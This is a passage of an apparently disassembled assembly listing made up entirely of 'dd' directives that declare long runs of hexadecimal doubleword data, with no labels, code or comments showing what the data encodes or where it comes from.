		dd 985A210Ch, 74317D78h, 5C891199h, 2236F987h, 79A070C4h
		dd 16C02D8Fh, 8E941AA7h, 44840449h, 8106B001h, 80182FE0h
		dd 48045841h, 0B797Ah, 0FA547801h, 7062466Ah, 9E1C063Eh
		dd 0C02A1F1Eh, 4E0105F2h, 376617ACh, 0C720903Ch, 12AA026Bh
		dd 304A3F5Ch, 70D37441h, 0A18CD1A0h, 0CACD19D3h, 95228826h
		dd 3CB06300h, 0B8F19640h, 0AC801F2h, 7803A1D6h,	18243274h
		dd 9131242Ch, 0EDD90394h, 3971ECEAh, 606957A1h,	98001300h
		dd 0AE23A1B0h, 25E9AA74h, 0E88370B2h, 40502757h, 821B7738h
		dd 0B81028A4h, 1F634198h, 4C02D01h, 86616DDCh, 0CF46C894h
		dd 3F3CD502h, 2D31BAA7h, 3C9E6110h, 0CEAD2805h,	28880FF8h
		dd 9C3F782Bh, 6769774h,	98442E9Ch, 1D09CB9h, 0ED758621h
		dd 7F77D412h, 0B01FECD1h, 1CC84462h, 0D708FCACh, 0C03A6546h
		dd 9E3B7E77h, 0BD60FCB9h, 1EFA5h, 17C35A3Dh, 0B87438ACh
		dd 360F3504h, 7880FEF9h, 89207385h, 97E43087h, 77DE860Bh
		dd 0A04801EFh, 2E21AE74h, 0FD39D0E3h, 646C0FFBh, 25650FFh
		dd 9CF37E28h, 7144C8E7h, 1EB78860h, 0EC0058B1h,	601A3B23h
		dd 2430A13h, 0BD0AC94h,	5001776Fh, 993DC4h, 2CC0CA38h
		dd 0C4F0DAh, 69A15276h,	0A875EEE7h, 0CE0A0D7Ah,	0E0A02CC7h
		dd 0F637C880h, 0F2A99C2h, 0E0604AC0h, 9EAC640h,	810476B7h
		dd 53D695DFh, 8169CD8h,	9B7EA7E5h, 3B41C170h, 0C384B1E5h
		dd 0A2738CC0h, 13A93F0Ch, 0D004D797h, 50812528h, 10A5F4EFh
		dd 9B9A8825h, 708D8064h
		dd 19F8AE7h, 0E4010E79h, 439A8072h, 12E057E0h, 0AF391EA7h
		dd 0ACE7AACEh, 75C6E202h, 0C0DAF7EDh, 6D1DDCh, 7E138BC7h
		dd 439908B4h, 0C409A54Bh, 0DD1D05A1h, 0B8744CD9h, 79884387h
		dd 0E5D8B209h, 80E4C5BBh, 10B2C7AEh, 0A93CDE03h, 0C8C4804Dh
		dd 0EC240209h, 40E54F2Bh, 360A27B4h, 4890FAC9h,	944424A7h
		dd 0AD226760h, 0F16DF309h, 9F3498ECh, 0BBA0046h, 0B533E69Bh
		dd 4F12E895h, 7C0436C2h, 0C80510A0h, 0C800CBF6h, 0E9CAC013h
		dd 0DC918E33h, 62226F08h, 9712F4B6h, 8110112Ch,	8CFB053Fh
		dd 0C810BB45h, 16853C8h, 2B825A72h, 9C409C2Dh, 25EDBBCh
		dd 4D658A23h, 0E040D334h, 31C4292Ch, 0FCC0350Fh, 0F86795F4h
		dd 0A09E3A7Bh, 91D44C12h, 330AF91Ch, 2422178h, 0CF523FCAh
		dd 28116CCBh, 0E2402166h, 78C648A6h, 0C6CA713h,	9AD07488h
		dd 1DFCACB0h, 0B446E340h, 0EEA9807Ch, 0FB4E7E76h, 8B6C1500h
		dd 5E3016BEh, 2A85002Dh, 0BA0B957h, 9A2468D5h, 0D812A88Eh
		dd 2B2FF406h, 0F78A0079h, 86CA650Fh, 3A1C45D5h,	1F80E319h
		dd 4449DA18h, 976B1329h, 22C88250h, 2D60D920h, 13F57823h
		dd 0AB20280h, 96874F4h,	2C235E89h, 7D808555h, 1A0063FBh
		dd 5D4EEB10h, 97BE2CDh,	0A6E9DCF6h, 8A1E5C40h, 0F900B492h
		dd 0A4939011h, 47D9162h, 138DB21h, 2E68A389h, 465ED095h
		dd 72C8000Eh, 0CC5F4DB0h, 63FC32E6h, 34E445A9h,	53FD570Ah
		dd 0A125A92Ah, 0D8611640h, 5A35F428h, 0D16C94E8h, 6CF86FF4h
		dd 8C99B870h, 39EA4200h, 65C13FFFh, 99C4376Bh, 11A9B058h
		dd 74988C5Fh, 0A2F6C90Bh, 0FB446030h, 80389C72h, 0ED650DD7h
		dd 1113A597h, 94410FF0h, 871A512Fh, 0C0868C20h,	0E8B15EE1h
		dd 0FC90E450h, 1B9EC427h, 0FDE828C0h, 91860B98h, 0E083540Dh
		dd 6800F725h, 0FBD2E173h, 0D1215Dh, 2EC03EB3h, 0A876845Ah
		dd 0D51AD400h, 6A4CED4Ah, 3E5628E4h, 0EB4507EFh, 0C3762DBEh
		dd 0C1A04497h, 0A600664Ah, 56A18E07h, 0F065FFBFh, 0F29EEA43h
		dd 0A5800057h, 0D1EBF9CBh, 0EA004414h, 0B424D7Bh, 233132h
		dd 0B5751E72h, 0B0082EE1h, 0C62D9707h, 0F810D25Ah, 0B80A519h
		dd 99FAF6FBh, 0C3C0384Ah, 0CA5C4778h, 0AB2330h,	0CC52BDDh
		dd 678662D5h, 0C03221FDh, 0FAC5382Bh, 2C5DB83Ah, 0DC04A0EBh
		dd 89056641h, 0C9B05C7Bh, 3A002315h, 0B4514D1Fh, 0EF83AA09h
		dd 0C40C4CDh, 47B169BFh, 7471B816h, 4898C635h, 98F2BCA2h
		dd 1F4B730h, 0AA7E1FC1h, 305E8709h, 0F713561Ch,	8420EC28h
		dd 0D11275F9h, 1B005839h, 3F4EC45Eh, 3E0FAE18h,	1FFF99Ah
		dd 2D9C637Bh, 0B0394421h, 911EAFB8h, 76801617h,	404EEDDBh
		dd 7B643506h, 339C4D3Ch, 0F7673091h, 80544159h,	0E5D2B2CEh
		dd 72458CABh, 4B2F1C3h,	3F008433h, 77B643B7h, 0AC07CBBCh
		dd 50F901E1h, 625AAA50h, 279872A6h, 0A09791ADh,	6020FF88h
		dd 9DED6D89h, 0AD8CCD1Dh, 2C05F312h, 903A62A0h,	5400FB23h
		dd 0E1305C39h, 0F1D20355h, 0F9360CDDh, 2D125886h, 83AF318h
		dd 3B012A23h, 0B8F6120h, 2C206DEDh, 41414E27h, 160F9770h
		dd 20002A19h, 0AB778FFCh, 9828EFF6h, 63D878E1h,	3003E2BCh
		dd 2F0C1D42h, 4CD1EE85h, 57F82CAEh, 1F174EA4h, 932613CFh
		dd 478A7710h, 2E44705Ah, 0E43700F6h, 0DB58D907h, 0F127FE49h
		dd 8AEC8920h, 406E68A4h, 0DC5D5E81h, 9250013h, 86E0465Fh
		dd 0E658EF78h, 8B208BF8h, 45C803C4h, 6AD10003h,	1BF8ED35h
		dd 71018BE5h, 43DFA9C1h, 4C603D56h, 0C080AD95h,	70A8B0D4h
		dd 0BA087803h, 0C8980FC5h, 0B8EE1738h, 0A7282FA2h, 0F2D40C04h
		dd 20FFF100h, 4000CE0Ch, 8E284AB3h, 0A11F95ADh,	8C47DEECh
		dd 0E9A6CF00h, 0CD7CA1A9h, 0FF021868h, 0CE06878Ah, 465258E0h
		dd 31800CB6h, 0A7E172C0h, 0DED92CACh, 34674B0h,	0A772F700h
		dd 786B275h, 1A8B0425h,	0D66C84E8h, 183CA860h, 74D2A726h
		dd 0B0BA70h, 94AC6C3Ch,	0E9A7485Eh, 68FE2224h, 1440CC2Eh
		dd 0B6ADB3h, 3E3850BAh,	0A13F182h, 47C8AE0Bh, 0C0CC6D48h
		dd 0D3596FB4h, 50643496h, 0E9E53F61h, 1420A57Eh, 2BC796Ch
		dd 4C81EDEFh, 4C69F7Ch,	58015100h, 8508D6A1h, 30DFFA9Ch
		dd 0D959F445h, 0FC0267D4h, 0B3E02497h, 93E0FF8Bh, 0AA5077A6h
		dd 0A4A7FB90h, 11672C44h, 2B6A8076h, 0E301705Fh, 2B9F4241h
		dd 6E7C4F2Ah, 77877321h, 0C2584411h, 0FF205D1Ch, 0A816F3h
		dd 0B25A7526h, 0D0EEB981h, 76D51B02h, 1DF8A04Dh, 0D800C63Eh
		dd 143A27E2h, 0E63E01BCh, 0A8C7B082h, 1D6E28B5h, 24620C77h
		dd 60AF1324h, 29FB6D6Ch, 2CE0E40h, 5326BA86h, 0A4E2D37Eh
		dd 2840FD63h, 73FE57A0h, 58248830h, 16C35EAAh, 8EEF53Fh
		dd 0C9C03E44h, 5FE5D3B2h, 0FF842CA3h, 38B2D000h, 78EC149Ch
		dd 60B8CEh, 77959184h, 0EA23F07Ah, 2F422B25h, 1A7C652Ch
		dd 99A13CB0h, 0F52D62B8h, 0C70DF901h, 0C84983Ch, 0C8170BD6h
		dd 1E530Ch, 3513F408h, 5CE76580h, 7701E971h, 0E6C7E28Ch
		dd 0A98C70A2h, 0AF411745h, 0B7EB7700h, 3CDAB4E5h, 75B900A5h
		dd 109E9815h, 0B041F4Eh, 0C24627Dh, 0FEC84CCFh,	79288C0h
		dd 7C7E0BF7h, 94A45406h, 0DC414079h, 814C76h, 0E56C87E4h
		dd 0D258B9CEh, 0F802EC99h, 86EA00Ch, 0E7BA8F1Ch, 617E5E01h
		dd 473CF8BCh, 6D0B8800h, 0CEB1E829h, 523A30CDh,	0D7084440h
		dd 0E5052C96h, 60A2D3FBh, 0BF3094F2h, 0C41E0036h, 0E46A65BEh
		dd 4112CA4Bh, 2817F207h, 44CCA034h, 0D2AA006Bh,	6E7FA766h
		dd 2C731B51h, 4443E4Ch,	0F54DAB28h, 1CE04CA1h, 1298F87Ah
		dd 80C9A60Dh, 91807758h, 4E0AA8A8h, 6C07D124h, 8C1ECD06h
		dd 8B540019h, 269BF7B5h, 91187DC0h, 6A90F206h, 0FE2B81F9h
		dd 0E10E8F9h, 9041139Fh, 2768C48h, 77979F09h, 11801D91h
		dd 0ECCE8069h, 386CAFF5h, 0D301E3EDh, 2680DE55h, 0DC888492h
		dd 0FC41DB47h, 0D3F5FE0Ch, 0CCF3E82Bh, 3252FD8h, 18C3FF3Dh
		dd 21D0A7FBh, 0F376F9h,	16A2747Eh, 0CB900BBFh, 0C02AC8C0h
		dd 9C988E33h, 8C8E94Bh,	345A10E5h, 0E0B900C2h, 1E90FE7h
		dd 0D47E35A3h, 0A16C80E1h, 1B058865h, 943B92F3h, 41A670D0h
		dd 0A00D6B89h, 0FA08281Dh, 5CA962D7h, 1FB100C3h, 0DCE984D8h
		dd 512C22Dh, 2ED79798h,	982378h, 749F1172h, 0AFEAC023h
		dd 1E06E8BEh, 93282564h, 99AD7804h, 449E8927h, 75CF006Ch
		dd 7F87E84Ah, 9F8EF32h,	2F44E41Eh, 0EDD59130h, 987D0022h
		dd 0F8DB066Fh, 6527EBB0h, 1A444A5h, 0E39983F7h,	4020A46Ah
		dd 6E2151B0h, 0EA747509h, 3A3C0677h, 0AAF61750h, 0CE8C40C5h
		dd 0D352C228h, 1E8C2395h, 0C7E80011h, 0B154FE68h, 9E067B01h
		dd 5CB9E228h, 82A70528h, 0E6F714F3h, 0D90FB0E4h, 6D753DDFh
		dd 701D8380h, 2C6AE521h, 908EB64Eh, 57C0FDC8h, 1364732h
		dd 0E66154E5h, 8A97CB92h, 644E6850h, 91AC1725h,	0FBC68095h
		dd 0EBB51ADEh, 1601B073h, 5F31D12Fh, 6060307Dh,	118CA3Ch
		dd 72F9A864h, 8089C0BCh, 5CF1A1E6h, 9113088h, 58F0B357h
		dd 1468A645h, 1F8C94BCh, 807A240Eh, 90C893F0h, 917AA10h
		dd 441E80Fh, 0DA89AE0Dh, 128B3030h, 412B407Bh, 2FCE1DC0h
		dd 4DD1808Fh, 0C2AC09F8h, 55B402BDh, 0C9C61E73h, 0F3A5B860h
		dd 74F56345h, 94ABCE60h, 0D8465C20h, 9209B100h,	0ABC44F2Dh
		dd 0A6C93F16h, 76ED1431h, 0C0B9DE9Ch, 554D1FC7h, 8460084Fh
		dd 1AE998E8h, 2D5CBAF9h
		dd 3017F6ECh, 47812A11h, 0E82EFB4Ch, 13480933h,	2FB63884h
		dd 91849DD7h, 91B98211h, 687460FDh, 7B770EFAh, 3712C6Bh
		dd 886A7F75h, 9810422Eh, 8CAF7450h, 0C92BD902h,	1662F50Ch
		dd 2C53CE01h, 845CA1A8h, 9FDB7EDCh, 0CCF9F811h,	0E907AFECh
		dd 15697BF6h, 770C849Ah, 3DB8FA25h, 8202ED7Eh, 0BB9740Ch
		dd 0C6D1B079h, 203E7A18h, 0A224001Fh, 0AE0F9C85h, 0A41151C5h
		dd 0F808F261h, 4810091Bh, 30E5AB27h, 6122C8CEh,	7DAEE6E5h
		dd 1ECE13E8h, 0A664B4h,	5442EC8Fh, 57816CC4h, 87FE5F16h
		dd 6CEDC00h, 0BA671A10h, 4813FB40h, 0EE26A9C8h,	0D3C780Eh
		dd 8065C009h, 1C15C551h, 0D3C3E3D3h, 0F53C0824h, 59FF1881h
		dd 382069CCh, 0A839F474h, 2E41A984h, 4278834Ah,	840FE392h
		dd 6E007FEBh, 2BE242CBh, 80501F5Ch, 44DFA3ADh, 0B0D15EDAh
		dd 0CA74FFA8h, 4793891h, 0B200A918h, 642880EBh,	0B84B6B3Eh
		dd 8744B671h, 86F8CF8Dh, 7CB01125h, 245B0142h, 0B3F880B0h
		dd 0C02C13C6h, 193175F8h, 0BC486689h, 292E1D02h, 0F1CC00D4h
		dd 0DE87C7B2h, 0D879F9h, 0A86F3FCAh, 27B1E9A6h,	0D0C68177h
		dd 2C90D54Fh, 5CEE738Fh, 3AB58053h, 0FE2384h, 7A935FB1h
		dd 8524E477h, 890D68C1h, 0DCCCB964h, 80AD006Ch,	0BA733E38h
		dd 0DD140F8Bh, 963CCAE5h, 0D8C87C8Ah, 523ABFC0h, 0E3060093h
		dd 60447C2Fh, 1D76EE02h, 0DD040D71h, 0F19A5F2h,	104350A1h
		dd 0E710DACBh, 609964BCh, 0F40974D6h, 0F6FD01EAh, 4522777Eh
		dd 6DC983EBh, 0C8696512h, 0C9A5FE51h, 54E5B779h, 556005E4h
		dd 661FAA19h, 8012BA0h,	7F8F3FB7h, 4994203Bh, 13015729h
		dd 0EDD41EF0h, 0FAD4D3EBh, 9BF34A46h, 1C3D8074h, 12F821FBh
		dd 0A4D3A14Ah, 8843A2D4h, 7B2C504h, 0CBD484E6h,	0CC2677D4h
		dd 75008FB2h, 83340A06h, 76730974h, 0D8F99011h,	73189979h
		dd 8B662303h, 90CEA135h, 701A6FDDh, 48023868h, 6D9730F3h
		dd 501F4A81h, 0E624AC92h, 7460A0A5h, 9D7D120Ch,	0DAE47C84h
		dd 0C7800834h, 0C6923813h, 8BF4B47Ah, 5B2E6A3Eh, 1884348Dh
		dd 442CF2C3h, 3721839Eh, 735107D4h, 2002676Ah, 0FA5140C0h
		dd 402690BEh, 203FF0ACh, 7CE51487h, 0B50548DFh,	0CBAC3D2Eh
		dd 2110DCC4h, 1B4F9C7h,	3F3482E6h, 25A60C42h, 1ACD01CBh
		dd 0A04E2B2Eh, 0A3FEA0B2h, 1CA43034h, 43D32866h, 0F7C55F61h
		dd 0DF0098CCh, 0E5D9B208h, 4069C4B3h, 39B2D6ADh, 31A90032h
		dd 276CDBEFh, 6400261Fh, 12936A9Fh, 626D4DF3h, 797788E6h
		dd 6C082872h, 0A09F5FBh, 167878A2h, 23903AD7h, 0E37D0094h
		dd 117961FAh, 5F64100Bh, 905A87h, 1C2F8595h, 96C4F34Dh
		dd 0B6FD1201h, 0B37CA3CDh, 5E845CCAh, 0F1027046h, 8976185Fh
		dd 4C80D87Eh, 51F68339h, 3080064h, 0A1AF25EBh, 2A025827h
		dd 0D8536BD7h, 74D0809Eh, 0D3C589E1h, 78A238h, 5B0A0493h
		dd 10FA6D0h, 0A9E956BAh, 2090AAF1h, 4200C530h, 0F2EC485Dh
		dd 616F11AFh, 8CCE1886h, 40F4C5ADh, 0DD1EEDB4h,	0D368601Fh
		dd 0D04A0E5h, 6387E5h, 0CE9B9658h, 0A685E3C5h, 81BC500Fh
		dd 86CF2032h, 12FFC130h, 9089D509h, 720EB3A0h, 4092730Fh
		dd 542DE034h, 9B7E3CAh,	786DC474h, 11517800h, 7D0066D4h
		dd 730DA696h, 0FE742DF3h, 0DC7E0CC2h, 0A1286901h, 547C331Fh
		dd 0A0084756h, 0CC219D2Bh, 1ED0F30Ah, 0AA80C8B4h, 71E6A6A9h
		dd 0F56C00EDh, 7F21C4C7h, 51C0860Ch, 0F828D389h, 44450078h
		dd 4EA9AAFh, 6A00F16Eh,	2E54BEF2h, 76A0426Bh, 72A6002Ch
		dd 0FF5BA489h, 1900D88Ch, 12B3871Bh, 0F8A710h, 0C9471FB1h
		dd 0BAF514FAh, 3546D800h, 3D20480Ch, 0E3F9D1h, 64D71818h
		dd 0AF6D41F3h, 2015C229h, 20EB5CE2h, 4A9137CEh,	6B7477E8h
		dd 0EF130E07h, 40D47B42h, 0BBC0E4C7h, 0AD12B7h,	3DFCBADFh
		dd 0AB56515Dh, 204AAA29h, 10805846h, 42FFA7CCh,	16C60014h
		dd 64DDA413h, 0EC83F9A6h, 49848951h, 6C401EA2h,	7401C8ABh
		dd 0B56D4ED3h, 0ACFADE58h, 628A0834h, 0F170C00Bh, 0A02180B7h
		dd 1F04D1F0h, 8017E460h, 0C865789Eh, 19027509h,	72056B0Ch
		dd 0EFEC80AFh, 0BEFE5Dh, 8FADBD1h, 68420C37h, 8CA5C100h
		dd 9607F005h, 3AEC0CE7h, 7628BF0Bh, 44980944h, 2284E4BEh
		dd 0A25011B4h, 15F38D28h, 71297219h, 22849E08h,	0AC22BD34h
		dd 0B52F320Fh, 3C828AA1h, 4027BBB0h, 140D9428h,	385C8622h
		dd 6AF0050h, 0C90E3563h, 0D5AD009Fh, 0BDE5A3F1h, 0DA039CD9h
		dd 2CB49EC2h, 0B3BAA82Fh, 0E8840075h, 0DB9D5B98h, 0D200E9E1h
		dd 6D371D01h, 0D31874h,	0E02D08BCh, 0A0CF710Dh,	539F6A00h
		dd 0B558C45h, 0B8B1003Ch, 1E2B5F05h, 1B7F0EA1h,	7B62D4E7h
		dd 1D716800h, 0B83457F8h, 0FE3503E0h, 463CA4F6h, 0D70A4003h
		dd 0E8847E5Ah, 0FC0BDE9Ch, 0D981036Eh, 3CD2CFC8h, 2EC342F8h
		dd 8B85A900h, 15F1B1D5h, 1F7488h, 6DC0CB99h, 0B4795181h
		dd 0DD00577Ch, 0F4296955h, 4299B8h, 0B9A37419h,	854D7E8Dh
		dd 0CD09D400h, 2FBF524Fh, 0EE3F3CC4h, 0CF133180h, 531C667Ah
		dd 61323500h, 0DBAFEB96h, 88B90051h, 233E281Dh,	1300E392h
		dd 4D7608CBh, 6ABD48h, 9F97E83Ch, 9086B39Dh, 21A2BB00h
		dd 60F99947h, 6F3400EDh, 0E76A1DB5h, 2401F359h,	0CD572122h
		dd 0BFE4C407h, 0EA1B00ABh, 0CC147F4Ch, 15078D94h, 3370CF1Dh
		dd 2DE260AFh, 375939h, 603590B2h, 24AC22F8h, 0A2EE1500h
		dd 708C30A7h, 780F011Eh, 5AC516DCh, 5720E4C3h, 9400B5E4h
		dd 0B88BE19h, 0FBEC38h,	0CA28B478h, 9727695Fh, 26FFDD00h
		dd 1482D69Fh, 8D300321h, 1D91906Eh, 0EBFB6898h,	73118000h
		dd 1C618AEFh, 195005F3h, 0E7EC84Ah, 1BE549Ch, 75C03D90h
		dd 0AA2EE4A5h, 63DC4403h, 0DB854A71h, 577DD070h, 0DEE0C0DDh
		dd 9A6A56A8h, 0A4271928h, 0B43E9E00h, 0AD0ACBC1h, 0A8E4C6h
		dd 0F1DE7360h, 644EE906h, 6298E100h, 7DB5157Eh,	0C07F002Fh
		dd 564C2D7Bh, 0D5018512h, 93FEEFBDh, 41E02AA1h,	0DD2C0088h
		dd 0E512C19Eh, 0CF28E642h, 9700C038h, 354B8929h, 2C7E1Eh
		dd 3BB98B09h, 200160A5h, 0B3C05C00h, 737ACCF6h,	0B4F138D9h
		dd 977BAF80h, 8A4C66Ch,	0D79FB800h, 5BBC37F2h, 9E5F0729h
		dd 804FBA24h, 0DB1A99B7h, 0A28BEA00h, 61D82EF3h, 26780135h
		dd 1CD3C0BBh, 0BCA8E891h, 3FCA9800h, 6EFD36A1h,	34B700F8h
		dd 0AEFF0BAAh, 6C019C33h, 62630194h, 40C63E97h,	0E5B44A1Ch
		dd 170F9A70h, 1FE929h, 0C47999F4h, 760385ABh, 7E0CFF2Eh
		dd 9FF0003Bh, 940EEA9Eh, 6F001DA0h, 0DD4F1061h,	886B1Ah
		dd 0A175925Fh, 0BD57CBB5h, 0DA6E6D00h, 1C639E45h, 32C20361h
		dd 83DD682Eh, 24D75FD8h, 9CEEE200h, 333548F8h, 0D462336Ch
		dd 90F85631h, 951C931Eh, 43C034C4h, 66473517h, 0A43648B3h
		dd 0B6038B39h, 3CA31477h, 0E4EA0FA8h, 856D4207h, 50211631h
		dd 0DC304855h, 32130F68h, 0D8A09CBAh, 0B789250Bh, 0F8AB2A28h
		dd 1B6B9901h, 239777EBh, 76D1B1DCh, 0E790021h, 6D437AB0h
		dd 32008625h, 0FB800D83h, 1C1A3CE0h, 40FF79B9h,	972F5758h
		dd 0D2ED8AC8h, 3880D043h, 0DF01E469h, 92399BA4h, 6BC072ACh
		dd 2A1007D6h, 9030ED9Dh, 51DF787Bh, 22248DF0h, 96803CB8h
		dd 0AA5F0E8Fh, 0F9F400B3h, 4DF29165h, 27E63C68h, 8001B76h
		dd 94C81E5Bh, 85F8B9h, 8E515AF7h, 0CD603214h, 99725Ch
		dd 16F16BEEh, 3962D717h
		dd 84006193h, 81E899E6h, 5E006404h, 0B6BEB2F1h,	714B94h
		dd 0F6F97C09h, 0DC9B951Dh, 55DE0207h, 0CE9085D0h, 0C523BFh
		dd 8C925461h, 0C4E2F9Ah, 0E304AB72h, 2A6A7266h,	36133AC0h
		dd 7CFA0497h, 0C04251F1h, 9C885BDBh, 373BEEE8h,	59789FB1h
		dd 9DAA80FBh, 32201184h, 0D77C4C3Fh, 4C7D4F03h,	159008AFh
		dd 2D00C9F6h, 42510F2h,	7A54A54h, 0F93862DBh, 0F6EC053h
		dd 0CD0F15ADh, 804FF4F3h, 2973541Fh, 5EB70005h,	751D706h
		dd 103C187Fh, 0E4CCC7h,	0AE2177E9h, 396E0939h, 99834746h
		dd 72B51689h, 0B99C2090h, 6A798300h, 91A3DD2Bh,	0C8C2001Bh
		dd 0CC6DD2F8h, 0B100A8DFh, 0A106D351h, 4CF48A2h, 26630E36h
		dd 8C98811Bh, 0CD3E00Ah, 951FB20Fh, 4A516093h, 4C2599h
		dd 4088545Fh, 32040FB5h, 98526700h, 0B7575C30h,	0D4A4A02Ch
		dd 483804B6h, 0C018C4FFh, 44F6548Ch, 8F08C201h,	0F2BD4695h
		dd 92D62BD4h, 0EEE77580h, 1F800069h, 0C7859FE8h, 0D0087BDh
		dd 0CD17CA0Ah, 0D5B00Bh, 0D38A73DAh, 0A6408E82h, 0DE842900h
		dd 0C42E5DF6h, 935603EFh, 4F3CE349h, 6D1C26C0h,	42DF8618h
		dd 1F91B121h, 40F0851Eh, 0C07355DCh, 45002C17h,	19966286h
		dd 0A01E92h, 0B52A03E7h, 0D68B428Eh, 0FBFDF703h, 90ECCBA3h
		dd 0E0BEC76Fh, 81680735h, 40E7930Ah, 0C4EF2980h, 0A4319700h
		dd 893E2E45h, 0B088499Ch, 0FFE340h, 9853EF94h, 0C27D22AAh
		dd 61FB8F03h, 0B7ADDA63h, 1DABC2DEh, 4A96800Fh,	5128ECh
		dd 7C06FF7Eh, 0A05B495Fh, 0D398E274h, 0B04BC424h, 0D44C3D00h
		dd 5AEC48h, 80FF09B7h, 0B418134Eh, 0DE3CCF00h, 796B4978h
		dd 0F1AE3E9Ch, 0AC306480h, 868D743Fh, 65218A00h, 68C37B98h
		dd 26B91EE8h, 19A34080h, 2FCBC839h, 0E3E9CD00h,	60DBAFEh
		dd 0B3F7167h, 68A24E8Eh, 91E2EB00h, 3006D01h, 0F742FC20h
		dd 0C07D23C9h, 1D8A2228h, 94CF814h, 0B4B60068h,	0C30BD4DDh
		dd 21B500D9h, 9E2F56C8h, 0F028FC29h, 681E9895h,	0A71316ACh
		dd 857F3C41h, 29D858FBh, 25E30241h, 0FE49F832h,	0B0A98BE0h
		dd 0F07AF700h, 0EDDDC2F9h, 91070027h, 688CE863h, 0C54B41Dh
		dd 6720A598h, 0F4450083h, 3B2B4078h, 0FE078B9Bh, 0AA2354CFh
		dd 347D1AB1h, 43CECh, 0BBD11D83h, 14CE5DF1h, 499EA160h
		dd 0E8C6A0B9h, 7D2900BDh, 0F8C77680h, 6D005B8Ch, 5051CB09h
		dd 56ABE97h, 0CFC1C5E0h, 6FA0804Eh, 2630D2CCh, 0DF669E7Dh
		dd 2371CE2h, 859EC080h,	3309B5B1h, 960074B0h, 4C7508DCh
		dd 72643FA8h, 51E2380Ch, 621E1380h, 0F0B7EBC9h,	204FCF00h
		dd 0BE1AD309h, 499E000Eh, 6FC75AADh, 960EB394h,	0E0AB0DD4h
		dd 57A7D737h, 0DC3E0070h, 0A4156749h, 8E1F7C66h, 69C02E4Ch
		dd 8F83084Ah, 9BE2001Dh, 0A963391Eh, 2F03BF8Eh,	0A14B66DBh
		dd 0F590E05Fh, 87B400ABh, 22D33806h, 8A008EA5h,	825D16C8h
		dd 9458CFF4h, 86D00024h, 0B23EF190h, 0FC0180h, 0C09F76E2h
		dd 0F09D4D7Dh, 1374564Ch, 821D70Ah, 0A0719CB9h,	0EE4A5F8h
		dd 958E13Ah, 0D60D2EA0h, 164C497Bh, 467505C8h, 50803917h
		dd 3DDA49Ch, 12C03C9h, 6000B67Fh, 3305E758h, 477F14Ah
		dd 0C4AEF6BDh, 791C868Bh, 53D2F550h, 69EA6F03h,	0F8379D48h
		dd 94E8A636h, 0AEFA00A0h, 5A2A2546h, 0F01A1D00h, 715247Eh
		dd 98FC5CCDh, 5E5CA800h, 0BDA8894h, 143B570Eh, 9D46411h
		dd 22C0CCh, 0AF79B397h,	0D81F8C55h, 0C8E3D600h,	146672E2h
		dd 757313D7h, 8ED000Dh,	8E37E015h, 0B7833624h, 744CC100h
		dd 747EC7Ch, 2879AD25h,	6C35D03Ah, 0F139DBE7h, 960A00E3h
		dd 0F88E0261h, 0D9140015h, 12CD0B9Ch, 6E17AB5Dh, 94004DE6h
		dd 37A5246Bh, 0E2820060h, 9D74A240h, 6C01A80Fh,	0DDA1F465h
		dd 60F5077Fh, 715E5ECh,	5FB069A0h, 0A8BAA093h, 0A30F9C04h
		dd 83C3E6B3h, 985E359Eh, 9E3AE24h, 4899B7C0h, 0E8C67C00h
		dd 0B600A144h, 6B3A07DBh, 0E0CF5ED2h, 84AD000Ch, 667F0DD9h
		dd 8E028D1Ch, 5CB4F29Dh, 570041BBh, 9CC16E5h, 2AE00031h
		dd 9183BCDDh, 0B3175676h, 0E5F8CC97h, 0D0DC7A03h, 9A0B159h
		dd 1A00CF70h, 5EFB929Eh, 0ACFD6Eh, 33D6F624h, 731F72B7h
		dd 50821E12h, 37200000h, 60C278DFh, 195B28C0h, 5830E7CFh
		dd 28EB10C1h, 308D4AB4h, 30E9742Ch, 4473F00h, 0D08948DFh
		dd 26870B61h, 9001AABAh, 0E435D5DDh, 3161C91Ch,	0F4C724FEh
		dd 0E860EAE9h, 257B82h,	0D8802B66h, 653C69F3h, 20CE5200h
		dd 678272EAh, 0B2100FC2h, 0B6B8CFF6h, 6E122C1Dh, 9700EADFh
		dd 880B6377h, 4EC73C8Bh, 30999A00h, 21E26DA7h, 442F2800h
		dd 929D0FA2h, 8F460070h, 1C1E1A41h, 0D11FCD6Ch,	803BAB79h
		dd 0ED226D67h, 3B8245h,	38F4DF25h, 0FB04CF4Eh, 10A7700h
		dd 0C493A72Fh, 2076003Ch, 82BDE457h, 0A000BB30h, 0D0A62D3Fh
		dd 14C741Eh, 765F451Ah,	0D46DF4FFh, 4D00190Dh, 9C7EEF6Ch
		dd 719FD5h, 6BC5E39Ah, 0BD50AF8Eh, 0E4755909h, 69D48038h
		dd 292F23h, 1D4177B6h, 3DDAC97Ch, 2F03712h, 0D81449h, 0C01F840Eh
		dd 1B280076h, 0F0324C40h, 44056E41h, 361E4A6Dh,	94B624C0h
		dd 50A0F876h, 0F6BDB0C2h, 5A6E00BBh, 0E198FD7Ch, 50E4C305h
		dd 8A9AB00h, 826F3249h,	71D10068h, 0F66D83DDh, 0E385409h
		dd 0AACE0024h, 3559B95Bh, 6B45008Eh, 0BC80A62Fh, 0F21E25D5h
		dd 81FCA764h, 0D78DC085h, 0D2F0D828h, 0DFB6000Ah, 0E6518ED1h
		dd 89002955h, 0DF73B67h, 3AD9C5FAh, 0E800F266h,	0BBBEF0B6h
		dd 17008218h, 34233020h, 0AF7736h, 924FAE4Eh, 463D28C5h
		dd 0C031A000h, 192068E2h, 7BFF00CDh, 0ED574C2Ch, 86005C32h
		dd 786050B8h, 0D45F7Eh,	7ADEFBE3h, 51DBD3A0h, 0EB8F300h
		dd 0C56A82Bh, 356B0092h, 0BDAAC17Dh, 0DA04AE6Fh, 0CACDB9EAh
		dd 0BF659481h, 909D2C64h, 5EF500FCh, 52AED83Eh,	870036C6h
		dd 0DB29CB5Bh, 26853443h, 78457Fh, 63AB12B0h, 0A3001F58h
		dd 87F10DDDh, 5C6EAA33h, 0F71F387Dh, 33E71335h,	5CD84BB8h
		dd 5948B87Bh, 0BD1702EFh, 808A75FBh, 0DDE8E4FEh, 0DE811EE3h
		dd 0C5598F11h, 3C903080h, 27001C43h, 844EF54h, 10952Eh
		dd 0AEBA2138h, 769D9C94h, 42C63B00h, 0D9E05365h, 0B8FCFD6Ch
		dd 36F900ECh, 9002D1A0h, 65F85FF4h, 0F017B916h,	4291FE00h
		dd 887E05h, 0D323944Ch,	90EB5143h, 0FC7A2C1Fh, 0D6102880h
		dd 0A2C15Bh, 3D821DDAh,	4EA0B186h, 38009C90h, 0F7ADA73Ch
